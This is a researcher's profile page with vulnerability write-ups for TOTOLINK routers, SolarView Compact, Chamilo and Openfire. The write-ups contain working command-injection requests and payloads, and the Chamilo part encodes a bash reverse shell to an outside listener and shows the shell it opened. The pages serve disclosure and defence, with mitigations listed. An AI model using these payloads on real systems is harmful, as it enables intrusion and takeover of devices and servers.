h00die-gr3y (74)

Last Login: September 12, 2023
Assessments
25
Score
74

h00die-gr3y's Latest (20) Contributions

Sort by:
Filter by:
1
Ratings
Technical Analysis

Zioncom (Hong Kong) Technology Limited is a professional manufacturer for network communication products, including Wireless Router/AP (Indoor & Outdoor) , 4G&5G Router, Wireless Extender, Wireless USB Adapter, Wireless Module, Switch and Wired Router.
They are launching a large portfolio their network products under the brand name TOTOLINK. Despite the fact that they are in the business of developing and designing network products, a lot of their solutions are flawed in terms of security. Dozens of their products and related firmware are subject to buffer overflows and command injections and this CVE is only one of the many out there.

I took this CVE to the focus a bit more on the analysis of firmware and how you test your firmware without having the hardware actually in hand using firmware emulation.
Firmadyne is one of most popular firmware analysis and emulation software and is available in the public domain where you can install it freely on your Linux distribution. Now before you jump in cloning the repository and start the installation, I want to outline two other firmware analysis and emulation tools that probably makes your life a bit easier.
The first one is Firmware Analysis Toolkit (FAT) which is basically a script to automate Firmadyne. If you do not want to bother with complex installation, you can try AttifyOS which has Firmware Analysis Toolkit and other tools pre-installed and ready to use.
The other tool that you can use is called FirmAE which is a fully-automated framework that performs emulation and vulnerability analysis. FirmAE significantly increases the emulation success rate (From Firmadyne’s 16.28% to 79.36%) with five arbitration techniques.

In my case, I settled for FirmAE, because it indeed increases the success rate of firmware emulation considerably. There is a very nice Paper that explains the architecture and techniques used and I would advice you to read this first before jumping into the installation and operation of the tool.

Ok let’s go down to business and do some analysis and emulation with FirmAE.
I installed FirmAE on my Kali Linux distribution (2023.4) using the installation instructions provided on the github page. To emulate the specific firmware that comes with the TOTOLINK X5000R, binwalk need to be able to handle a sasquatch filesystem which requires a bit of additional installation and compilation steps that you can find here. Please do not forget to run this after your FirmAE installation otherwise you will not be able to extract the firmware.

Ok, when everything is installed, let’s download the vulnerable firmware from TOTOLINK here. We need V9.1.0u.6118_B20201102 and V9.1.0u.6369_B20230113.

UPDATE 14 September 2023
I could not reproduce the exploit with X5000R firmware V9.1.0u.6369_B20230113.rar, so please use V9.1.0u.6118_B20201102.zip for your testing.
I have also discovered other TOTOLINK firmware that is vulnerable for the same exploit.

  • Wireless Dual Band Gigabit Router model A7000R with firmware A7000R_V9.1.0u.6115_B20201022.zip
  • Wireless Dual Band Gigabit Router model A3700R with firmware A3700R_V9.1.2u.6134_B20201202.zip
  • Wireless N Router model N200RE V5 with firmware N200RE_V5_V9.3.5u.6095_B20200916.zip and N200RE_V5_V9.3.5u.6139_B20201216.zip
  • Wireless N Router model N350RT with firmware N350RT_V9.3.5u.6095_B20200916.zip and N350RT_V9.3.5u.6139_B20201216.zip
  • Wireless Extender model EX1200L with firmware EX1200L_V9.3.5u.6146_B20201023.zip
  • And probably more looking at the scale of impacted devices :–(

We are now ready to start the emulation. With FirmAE, you have different options such as a check option (-c) to see if your firmware can be emulated or a run option (-r) to emulate your firmware. I always use the debug option (-d) because it gives you the ability to access the firmware via a console for debugging and analysis purposes.
First run ./init.sh to start initialize the Postgress database.
Now run the debug session by running the following command ./run.sh -d TOTOLINK X5000R_V9.1.0u.6118_B20201102.zip
This will take a while, but in the end you should see the following…

TIP: you can speed this up by setting the arbitrary option FIRMAE_ETC in firmae.config to false (however, not necessary to make below work).

# ./run.sh -d TOTOLINK /root/FirmAE/firmwares/X5000R_V9.1.0u.6118_B20201102.zip
[*] /root/FirmAE/firmwares/X5000R_V9.1.0u.6118_B20201102.zip emulation start!!!
[*] extract done!!!
[*] get architecture done!!!
mke2fs 1.47.0 (5-Feb-2023)
mknod: /dev/mem: File exists
mknod: /dev/kmem: File exists
mknod: /dev/null: File exists
mknod: /dev/random: File exists
mknod: /dev/urandom: File exists
mknod: /dev/console: File exists
mknod: /dev/ptmx: File exists
mknod: /dev/ttyS0: File exists
mknod: /dev/ttyS1: File exists
mknod: /dev/ppp: File exists
mknod: /dev/mtd0: File exists
mknod: /dev/mtd1: File exists
mknod: /dev/mtd2: File exists
mknod: /dev/mtd3: File exists
mknod: /dev/mtd4: File exists
mknod: /dev/mtd5: File exists
mknod: /dev/mtd6: File exists
mknod: /dev/mtdblock0: File exists
mknod: /dev/mtdblock1: File exists
mknod: /dev/mtdblock2: File exists
mknod: /dev/mtdblock3: File exists
mknod: /dev/mtdblock4: File exists
mknod: /dev/mtdblock5: File exists
mknod: /dev/mtdblock6: File exists
e2fsck 1.47.0 (5-Feb-2023)
[*] infer network start!!!

[IID] 1
[MODE] debug
[+] Network reachable on 192.168.0.1!
[+] Run debug!
Creating TAP device tap1_0...
Set 'tap1_0' persistent and owned by uid 0
Bringing up TAP device...
Starting emulation of firmware... None false false -1 -1
/root/FirmAE/./debug.py:7: DeprecationWarning: 'telnetlib' is deprecated and slated for removal in Python 3.13
  import telnetlib
[*] firmware - X5000R_V9.1.0u.6118_B20201102
[*] IP - 192.168.0.1
[*] connecting to netcat (192.168.0.1:31337)
[-] failed to connect netcat
------------------------------
|       FirmAE Debugger      |
------------------------------
1. connect to socat
2. connect to shell
3. tcpdump
4. run gdbserver
5. file transfer
6. exit 

Now there is an issue that we need to fix first because the network connectivity from the host to the emulated firmware, which is basically a virtual machine, is not working. You can see this because netcat can not connect on 192.168.0.1 and pinging this IP is also not working. In order to fix this, use option 1. connect to socat to access your running firmware and run below commands to check the network configuration.

>1
/ # brctl show
brctl show
bridge name	bridge id		STP enabled	interfaces
br0		8000.525400123458	yes		eth2
/ # ifconfig -a
ifconfig -a
br0       Link encap:Ethernet  HWaddr 52:54:00:12:34:56
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:0 (0.0 B)  TX bytes:0 (0.0 B)

eth0      Link encap:Ethernet  HWaddr 52:54:00:12:34:56
          BROADCAST MULTICAST  MTU:1500  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:0 (0.0 B)  TX bytes:0 (0.0 B)

eth1      Link encap:Ethernet  HWaddr 52:54:00:12:34:57
          BROADCAST MULTICAST  MTU:1500  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:0 (0.0 B)  TX bytes:0 (0.0 B)

eth2      Link encap:Ethernet  HWaddr 52:54:00:12:34:58
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:33 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:0 (0.0 B)  TX bytes:1980 (1.9 KiB)

eth3      Link encap:Ethernet  HWaddr 52:54:00:12:34:59
          BROADCAST MULTICAST  MTU:1500  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:0 (0.0 B)  TX bytes:0 (0.0 B)

ip6tnl0   Link encap:UNSPEC  HWaddr 00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00
          NOARP  MTU:1452  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:0 (0.0 B)  TX bytes:0 (0.0 B)

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          UP LOOPBACK RUNNING  MTU:65536  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:0 (0.0 B)  TX bytes:0 (0.0 B)

sit0      Link encap:IPv6-in-IPv4
          NOARP  MTU:1480  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:0 (0.0 B)  TX bytes:0 (0.0 B)

tunl0     Link encap:UNSPEC  HWaddr 00-00-00-00-D4-7F-2C-6A-00-00-00-00-00-00-00-00
          NOARP  MTU:1480  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:0 (0.0 B)  TX bytes:0 (0.0 B)

/ # 

In my case, there were two issues, first of all the bridge command showed eth2 instead eth0 and br0 did not have any IP configured.
To fix this, run the following commands below to make the firmware accessible from the host.

/ # brctl addif br0 eth0
brctl addif br0 eth0
/ # brctl show
brctl show
bridge name	bridge id		STP enabled	interfaces
br0		8000.525400123456	yes		eth2
							eth0
/ # ifconfig eth0 up
ifconfig eth0 up
/ # ifconfig br0 192.168.0.1 netmask 255.255.255.0 broadcast 192.168.0.255
ifconfig br0 192.168.0.1 netmask 255.255.255.0 broadcast 192.168.0.255
/ #

You should now be able to ping the network address 192.168.0.1 from your host and run a nmap command to check the services.

# ping 192.168.0.1
PING 192.168.0.1 (192.168.0.1) 56(84) bytes of data.
64 bytes from 192.168.0.1: icmp_seq=1 ttl=64 time=8.92 ms
64 bytes from 192.168.0.1: icmp_seq=2 ttl=64 time=2.38 ms
^C
--- 192.168.0.1 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1001ms
rtt min/avg/max/mdev = 2.384/5.650/8.916/3.266 ms
# nmap 192.168.0.1
Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-12 17:44 UTC
Nmap scan report for 192.168.0.1
Host is up (0.011s latency).
Not shown: 997 closed tcp ports (reset)
PORT     STATE    SERVICE
23/tcp   filtered telnet
80/tcp   filtered http
8080/tcp filtered http-proxy
MAC Address: 52:54:00:12:34:56 (QEMU virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 1.78 seconds

nmap shows that the web service is up and running on port 80 so it is time to dig into the vulnerability.
Reading the CVE, it talks about command insertion vulnerability in setting/setTracerouteCfg using the command parameter.
Most of the functionality sits in the /cgi-bin/cstecgi.cgi file that you can find in the www directory at the emulated firmware.

/www/cgi-bin # ls -l
ls -l
-rwxrwxr-x    1 root     root           455 Nov  2  2020 ExportSettings.sh
-rwxrwxr-x    1 root     root        251300 Nov  2  2020 cstecgi.cgi
lrwxrwxrwx    1 root     root            15 Nov  2  2020 custom.cgi -> /tmp/custom.cgi
/www/cgi-bin #

To analyze, you can load this IDA or Ghidra to perform some reverse engineering.
I will not dwell on this topic for now, but the vulnerable code resides in the decompiled function below shown in Ghidra where the parameter command is not properly escaped when it is executed using the doSystem command which is basically an OS command call to the underlying Linux OS.

undefined4 FUN_0041f6a0(undefined4 param_1)

{
  undefined2 *param3;
  undefined2 *__nptr;
  int param2;
  char acStack_90 [128];
  
  memset(acStack_90,0,0x80);
  param3 = websGetVar(param_1,"command",(undefined2 *)"www.baidu.com");
  __nptr = websGetVar(param_1,"num",(undefined2 *)0x437f70);
  param2 = atoi((char *)__nptr);
  sprintf(acStack_90,"traceroute -m %d %s&>/var/log/traceRouteLog",param2,(char *)param3);
  doSystem(acStack_90);
  setResponse(&DAT_00436104,"reserv",param2,param3);
  return 1;
}

Besides reverse engineering using Ghidra or IDA, you can use the firmware analysis functionality provided by FirmAE. This is dynamic analysis using fuzzing and actually exploits from tools like Routersploit to find vulnerable code.

Let’s quickly validate if our vulnerable emulated router is vulnerable by sending a malicious POST request with a manipulated command parameter using burpsuite.

POST /cgi-bin/cstecgi.cgi HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/111.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 77
Origin: http://192.168.0.1
Connection: close

{"command":"127.0.0.1; echo cuckoo >/tmp/cuckoo.txt;","num":"200","topicurl":"setTracerouteCfg"}

Below is a valid response.

HTTP/1.1 200 OK
Connection: close
Date: Sun, 13 Sep 2015 16:37:50 GMT
Server: lighttpd/1.4.20
Content-Length: 234

traceroute to 127.0.0.1 (127.0.0.1), 200 hops max, 38 byte packets
 1  localhost.localdomain (127.0.0.1)  4.842 ms  0.195 ms  0.192 ms
{
	"success":	true,
	"error":	null,
	"lan_ip":	"192.168.0.1",
	"wtime":	"0",
	"reserv":	"reserv"
}

However, it is a blind command injection because nothing is returned in the response with regards to a successful command execution.
We have to check this directly on the emulated firmware and as you can see is the file /tmp/cuckoo.txt successfully created.

/tmp # ls -l *.txt
ls -l *.txt
-rw-rw-rw-    1 root     root             7 Sep 13 16:37 cuckoo.txt
/tmp # cat cuckoo.txt
cat cuckoo.txt
cuckoo
/tmp #

A Metasploit module for this exploit is in development.
You can find the module here in my local repository or as PR 18365 at the Metasploit Github development.

Mitigation

You should update your TOTOLINK X5000R router and other vulnerable TOTOLINK network devices listed in this article to the latest available firmware.

References

FirmAE
FirmAE: Towards Large-Scale Emulation of IoT Firmware for Dynamic Analysis
Firmware Analysis Toolkit (FAT)
Firmadyne
CVE-2023-30013
TOTOLINK Unauthenticated RCE – h00die-gr3y Metasploit local repository
Metasploit PR 18365
TOTOLINK X5000R Firmware

Credits

Kazamayc
And to all other good fellows who raised this concern ;–)

1
Ratings
Technical Analysis

With the heat records breaking almost every day around the globe, Solar Energy solutions are becoming rapidly main stream in households around the world. If you look in the street where you live, you will probably find a few neighbors with solar panels installed on their roof and nice little apps that can track you solar energy capacity.
Cool stuff, but as always, when connected to the Internet, you can introduce an entry point for a attacker to hack into your solar energy devices / inverters. Cyble security analysts recently published a nice report that explains the Security Gaps in Green Energy Sector: Unveiling the Hidden Dangers of Public-Facing PV Measuring and Diagnostics Solutions.

One of these energy solution providers is a Japanese company called Contec, that provides Solar Energy solutions to the market. One of their solutions, SolarView Compact has a vulnerability that allows remote code execution on a vulnerable SolarView Compact device by bypassing internal restrictions through the vulnerable endpoint downloader.php using the file parameter. Firmware versions up to v6.33 are vulnerable.

Again a very basic case of using direct system calls in your application code without sanitizing the input parameters properly.

If you analyze downloader.php, you easily can identify the vulnerable code that triggers the remote code execution with a malicious request.
You can retrieve this information by downloading the SolarView Compact firmware v600. You need to register yourself before you can download the firmware svcUpdateV600.fpk.

Run the following commands to access the firmware and extract downloader.php.

# mv svcUpdateV600.fpk svcUpdateV600.gz
# tar -ztvf./svcUpdateV600.gz html/downloader.php
-rwxr--r--  0 nobody nogroup  1986 Dec  7  2018 html/downloader.php
# tar -zxvf./svcUpdateV600.gz html/downloader.php
x html/downloader.php
// downloader.php
<?
if( isset($_REQUEST['file']) ){
    $file = $_REQUEST['file'];
}

//
function get_extend( $filename ){
    $pos = strrpos( $filename, "." );
    return substr( $filename, $pos );
}

//
//
$ext = get_extend( $file );
//
switch( $ext ){
case ".csv":
    break;
case ".jpg":
case ".jpeg":
case ".JPG":
case ".JPEG":
case ".Jpeg":
case ".Jpg":
case ".gif":
case ".GIF":
case ".Gif":
    $path = "/home/www/html/images/";
    break;
case ".zip":
    // $file is not proper sanitized !!!!
    $ARCH_FILE = sprintf("/home/contec/data/%s", $file);
    if( file_exists($ARCH_FILE) ){
        unlink($ARCH_FILE);
    }
    $cmd = sprintf("/usr/local/bin/data_zip.sh %s > /dev/null", basename($ARCH_FILE));
     // Using a direct system call can trigger the RCE !!!!
    system($cmd);
    $file = $ARCH_FILE;
    break;
}
....

A short demonstration below shows how easy it is to trigger the RCE.

Malicious burp request using curl http://TARGET-IP/downloader.php?file=%3Bid%3B.zip

GET /downloader.php?file=%3Bid%3B.zip HTTP/1.1
Host: <TARGET-IP>
User-Agent: curl/7.88.1
Accept: */*
Connection: close

Burp response

HTTP/1.1 200 OK
X-Powered-By: PHP/5.2.17
Content-type: text/html
Connection: close
Date: Wed, 23 Aug 2023 08:09:07 GMT
Server: lighttpd/1.4.28
Content-Length: 1072

5000 rows exported. -> /tmp/history.csv
	zip warning: name not matched: images/slide_monthly_guide.png
	zip warning: name not matched: images/slide_daily_guide.png
zip I/O error: Not a directory
zip error: Could not create output file (/home/contec/data/.zip)
uid=1001(contec) gid=0(root)
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">

<HTML>
<HEAD>
	<META HTTP-EQUIV="Content-Type" CONTENT="text/css; charset=Shift_JIS">
	<LINK HREF="/css/style1.css" REL="stylesheet" TYPE="text/css">
	<LINK REL="SHORTCUT ICON" HREF="/favicon.ico">
	<TITLE>Error 404</TITLE>
</HEAD>
<BODY>
....

I will leave it to the readers imagination what else you can run then a simple id command, but the underlying Linux armle operating system has a nice rich command set such as nc, wget, bash, python, openssl and base64 that can be leveraged for your RCE.
And as you can see, we already get a little bonus because default the security context of the user contec, which is running the service, is part of the root group that gives us elevated privileges.

A Metasploit module is in development.
You can find the module here in my local repository or as PR 18313 at the Metasploit Github development.

Mitigation

Please update your SolarView Compact application to the latest available firmware which is v8.00 or higher.

References

SolarView Compact
Security Gaps in Green Energy Sector
CVE-2023-23333
SolarView Unauthenticated RCE – h00die-gr3y Metasploit local repository
Metasploit PR 18313

Credits

To all good fellows who raised this concern ;–)

2
Ratings
Technical Analysis

Chamilo is a free software (under GNU/GPL licensing) e-learning and content management system, aimed at improving access to education and knowledge globally. It has been used by more than 30M people worldwide since its inception in 2010.
The following Shodan dork: http.component:"Chamilo" will give you the list of Chamilo installations running in the wild.

Chamilo versions 1.11.18 and below suffers from an unauthenticated remote command execution vulnerability. Due to a functionality called Chamilo Rapid to easily convert PowerPoint slides to courses on Chamilo, it is possible for an unauthenticated remote attacker to execute arbitrary commands at OS level using a malicious SOAP request at the vulnerable endpoint /main/webservices/additional_webservices.php.

It is a classical example of OS command injection (also known as shell injection) that allows an attacker to execute an arbitrary operating system (OS) commands on the server that is running an application, and typically fully compromise the application and all its data.

In the vulnerable file /main/webservices/additional_webservices.php the function wsConvertPpt that can be used to convert a PowerPoint file to courses on Chamilo using a shell command . To use this feature, a SOAP request needs to be performed containing an URL pointing to the PowerPoint file.
In code excerpt below, you can easily identify the command line where the filename is not properly filtered by the function, hence making it vulnerable to command injection when it is called by the exec() function.

function wsConvertPpt($pptData)
{
    global $_configuration;
    $ip = trim($_SERVER['REMOTE_ADDR']);
    // If an IP filter array is defined in configuration.php,
    // check if this IP is allowed
    if (!empty($_configuration['ppt2lp_ip_filter'])) {
        if (!in_array($ip, $_configuration['ppt2lp_ip_filter'])) {
            return false;
        }
    }
    $fileData = $pptData['file_data'];
    $dataInfo = pathinfo($pptData['file_name']);
    $fileName = basename($pptData['file_name'], '.'.$dataInfo['extension']);
    $fullFileName = $pptData['file_name'];
    $size = $pptData['service_ppt2lp_size'];
    $w = '800';
    $h = '600';
    if (!empty($size)) {
        list($w, $h) = explode('x', $size);
    }

    $tempArchivePath = api_get_path(SYS_ARCHIVE_PATH);
    $tempPath = $tempArchivePath.'wsConvert/'.$fileName.'/';
    $tempPathNewFiles = $tempArchivePath.'wsConvert/'.$fileName.'-n/';

    $oldumask = umask(0);
    //$perms = api_get_permissions_for_new_directories();
    // Set permissions the most permissively possible: these files will
    // be deleted below and we need a parallel process to be able to write them
    $perms = api_get_permissions_for_new_directories();
    pptConverterDirectoriesCreate($tempPath, $tempPathNewFiles, $fileName, $perms);

    $file = base64_decode($fileData);
    file_put_contents($tempPath.$fullFileName, $file);

    $cmd = pptConverterGetCommandBaseParams();

/* VULNERABLE CODE */
    $cmd .= ' -w '.$w.' -h '.$h.' -d oogie "'.$tempPath.$fullFileName.'"  "'.$tempPathNewFiles.$fileName.'.html"';

    //$perms = api_get_permissions_for_new_files();
    chmod($tempPathNewFiles.$fileName, $perms);

    $files = [];
    $return = 0;

/* EXEC FUNCTION */
    $shell = exec($cmd, $files, $return);

    umask($oldumask);

By using the SOAP request below, you can trigger the command injection replacing YOUR COMMAND with any Unix OS command.

<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns1="http://localhost:80/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:ns2="http://xml.apache.org/xml-soap" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
  <SOAP-ENV:Body>
    <ns1:wsConvertPpt>
     <param0 xsi:type="ns2:Map">
      <item>
       <key xsi:type="xsd:string">file_data</key>
       <value xsi:type="xsd:string"></value>
      </item>
      <item>
        <key xsi:type="xsd:string">file_name</key>
        <value xsi:type="xsd:string">`YOUR COMMAND`.pptx</value>
       </item>
       <item>
        <key xsi:type="xsd:string">service_ppt2lp_size</key>
        <value xsi:type="xsd:string">720x540</value>
       </item>
    </param0>
   </ns1:wsConvertPpt>
  </SOAP-ENV:Body>
</SOAP-ENV:Envelope>

I did several tests on a Ubuntu 22.04 server with Chamilo 1.11.18 installed to see which command injections do work and I found three variants so far. Two blind command injections and one command injection that is not blind.

Blind variants:

  • <value xsi:type="xsd:string">`command`.pptx</value>
  • <value xsi:type="xsd:string">|" |command||a #`.pptx'</value>

Non blind variant:

  • <value xsi:type="xsd:string">`{{}}`.pptx'|" |command||a #</value>

Let’s quick demonstrate the non-blind command injection variant with burpsuite on a vulnerable Chamilo installation.

Burp request

POST /chamilo/main/webservices/additional_webservices.php HTTP/1.1
Host: 192.168.201.47
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
Content-Type: text/xml; charset=utf-8
Content-Length: 1031
Connection: close

<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope
  xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"
  xmlns:ns1="/chamilo"
  xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  xmlns:xsd="http://www.w3.org/2001/XMLSchema"
  xmlns:ns2="http://xml.apache.org/xml-soap"
  xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/"
  SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
  <SOAP-ENV:Body>
    <ns1:wsConvertPpt>
      <param0 xsi:type="ns2:Map">
        <item>
          <key xsi:type="xsd:string">file_data</key>
          <value xsi:type="xsd:string"></value>
        </item>
        <item>
          <key xsi:type="xsd:string">file_name</key>
                   <value xsi:type="xsd:string">`{{}}`.pptx'|" |echo cuckoo||a #</value>
        </item>
        <item>
          <key xsi:type="xsd:string">service_ppt2lp_size</key>
          <value xsi:type="xsd:string">1310x643</value>
        </item>
      </param0>
    </ns1:wsConvertPpt>
  </SOAP-ENV:Body>
</SOAP-ENV:Envelope>

Burp Response

HTTP/1.1 200 OK
Date: Fri, 28 Jul 2023 10:33:56 GMT
Server: Apache/2.4.52 (Ubuntu)
Set-Cookie: ch_sid=0doq0i6i2va7rf61bfq9ksg79u; path=/; HttpOnly
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 620
Vary: Accept-Encoding
Connection: close
Content-Type: text/xml; charset=utf-8

<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope
  xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"
  xmlns:ns1="http://192.168.201.47/chamilo/main/webservices/"
  xmlns:xsd="http://www.w3.org/2001/XMLSchema" 
  xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" 
  xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/"
  SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
   <SOAP-ENV:Body>
     <ns1:wsConvertPptResponse>
       <return xsi:type="xsd:string">
          a:2:{s:5:"files";a:1:{i:0;s:6:"cuckoo";}s:6:"images";a:1:{s:0:"";s:0:"";}}
       </return>
     </ns1:wsConvertPptResponse>
   </SOAP-ENV:Body>
</SOAP-ENV:Envelope>

Now let’s do a proper command injection and spawn a remote shell.
Let’s take a bash reverse shell: bash -i >& /dev/tcp/192.168.201.10/4444 0>&1
To avoid any issues with bad characters, we will encode the payload with base64 and decode it again during execution.

# echo -n "bash -i >& /dev/tcp/192.168.201.10/4444 0>&1"|base64
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwMS4xMC80NDQ0IDA+JjE=
# nc -lnvp 4444
listening on [any] 4444 ...

bash reverse shell burp request

POST /chamilo/main/webservices/additional_webservices.php HTTP/1.1
Host: 192.168.201.47
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
Content-Type: text/xml; charset=utf-8
Content-Length: 1084
Connection: close

<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope
  xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"
  xmlns:ns1="/"
  xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  xmlns:xsd="http://www.w3.org/2001/XMLSchema"
  xmlns:ns2="http://xml.apache.org/xml-soap"
  xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/"
  SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
  <SOAP-ENV:Body>
    <ns1:wsConvertPpt>
      <param0 xsi:type="ns2:Map">
        <item>
          <key xsi:type="xsd:string">file_data</key>
          <value xsi:type="xsd:string"></value>
        </item>
        <item>
          <key xsi:type="xsd:string">file_name</key>
          <value xsi:type="xsd:string">`{{}}`.pptx'|" |echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwMS4xMC80NDQ0IDA+JjE=|base64 -d|bash||a #</value>
        </item>
        <item>
          <key xsi:type="xsd:string">service_ppt2lp_size</key>
          <value xsi:type="xsd:string">1108x524</value>
        </item>
      </param0>
    </ns1:wsConvertPpt>
  </SOAP-ENV:Body>
</SOAP-ENV:Envelope>

bash reverse shell

# nc -lnvp 4444
listening on [any] 4444 ...
connect to [192.168.201.10] from (UNKNOWN) [192.168.201.47] 49682
bash: cannot set terminal process group (35632): Inappropriate ioctl for device
bash: no job control in this shell
www-data@cuckoo:/var/www/html/chamilo/main/inc/lib/ppt2png$ uname -a
uname -a
Linux cuckoo 5.15.0-76-generic #83-Ubuntu SMP Thu Jun 15 19:16:32 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux
www-data@cuckoo:/var/www/html/chamilo/main/inc/lib/ppt2png$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@cuckoo:/var/www/html/chamilo/main/inc/lib/ppt2png$

For now, the OS command injection only works on linux/unix based operating systems due to the use of the backtic ` operator.
Still playing around to find a Windows variant.

And as usual, there is a nice Metasploit module that does it all for you.
You can find the module here in my local repository or as PR 18233 at the Metasploit Github development.

This module has been tested on:

  • Ubuntu Linux 22.04
  • Chamilo 1.11.18
  • PHP 7.4

Instructions for a vulnerable Chamilo installation on Ubuntu 22.04:

Mitigation

Please update your Chamilo application to version 1.11.20 or higher.

References

Randorisec advisory
CVE-2023-34960
Chamilo Unauthenticated RCE – h00die-gr3y Metasploit local repository
Metasploit PR 18233
Chamilo release downloads
Chamilo installation instructions

Credits

Randorisec

1
Ratings
Technical Analysis

Openfire (previously known as Wildfire, and Jive Messenger) is an instant messaging (IM) and groupchat server for the Extensible Messaging and Presence Protocol (XMPP). It is written in Java and licensed under the Apache License 2.0.

On May 26, 2023, Openfire's administrative console, a web-based application, was found to be vulnerable to a path traversal attack via the setup environment using the path http://localhost:9090/setup/setup-s/%u002e%u002e/%u002e%u002e/. Endpoints such as log.jsp, user-groups.jsp and user-create.jsp can be used to gain unauthorized admin access.
It allows an unauthenticated user to use the unauthenticated Openfire Setup Environment in an already configured Openfire environment to access restricted pages in the Openfire Admin Console reserved for administrative users.

The vulnerability affects all versions of Openfire that have been released since April 2015, starting with version 3.10.0 and is patched in Openfire release 4.7.5, 4.6.8 and 4.8.0 and later.

Reading the security advisory, it reminded me of a previous Openfire vulnerability CVE-2008-6508 discovered in 2008 that faced a similar issue. There is even an existing Metasploit module available a.k.a. exploit\multi\http\openfire_auth_bypass that exploits this vulnerability (see Metasploit PR 522).

With that in mind, it should be not too difficult to build a new variant that exploits the latest vulnerability CVE-2023-32315.

The attack sequence is quite simple:

  1. Grab the cookies using the path traversal vulnerability via http://<IP>:9090/setup/setup-s/%u002e%u002e/%u002e%u002e/user-groups.jsp
  2. Use the cookies to add an admin user using the path traversal vulnerability via http://<IP>:9090/setup/setup-s/%u002e%u002e/%u002e%u002e/user-create.jsp
  3. Upload an Openfire plugin weaponized with a java payload triggering an RCE via endpoint http://<IP>:9090/plugin-admin.jsp. For step 3, you need understand how to create an customized Openfire plugin which is described in more detail here.

And as usual, I took the liberty to code a nice Metasploit module that does it all for you.
You can find the module here in my local repository or as PR 18173 at the Metasploit Github development.

This module has been tested on:

Ubuntu Linux 22.04

  • Openfire 3.10.1, 4.0.4, 4.1.0, 4.2.0, 4.3.0, 4.4.0, 4.5.0, 4.6.0. 4.7.0, 4.7.1, 4.7.3
  • Java 7, 8, 17

Windows Server 2019 Datacenter

  • Openfire 4.7.3
  • Java 20

You can setup your own testing environment by following the instructions below.

Instructions for an Openfire installation:
Download Openfire releases here.
Follow installation instructions here.

Mitigation

